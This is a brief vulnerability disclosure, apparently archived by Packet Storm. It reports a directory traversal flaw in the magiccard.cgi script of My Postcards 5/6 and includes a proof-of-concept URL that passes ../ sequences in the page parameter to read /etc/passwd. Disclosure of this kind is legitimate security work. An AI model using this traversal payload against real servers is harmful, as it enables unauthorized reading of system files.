Magiccard.cgi has a directory traversal bug in the page variable that allows any file on the system to be read.
ebeddfd494c8d0021e0b86e2f8493f37740875b8485e7be7afedc4a1cf819632My Postcards 5,6 vulnerability // magiccard.cgi
-----------------------------------------------
you can read any file on the server, regardless to the HTTP server
permissions set.
the file must be readable by the user running the HTTPD server.
https://www.xxxxxx.com/cgi-bin/magiccard.cgi?pa=3Dpreview&next=3Dcustom&page=3D../../../../../../../../../../etc/passwd
--
cult
simas@kalnieciai.lt
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed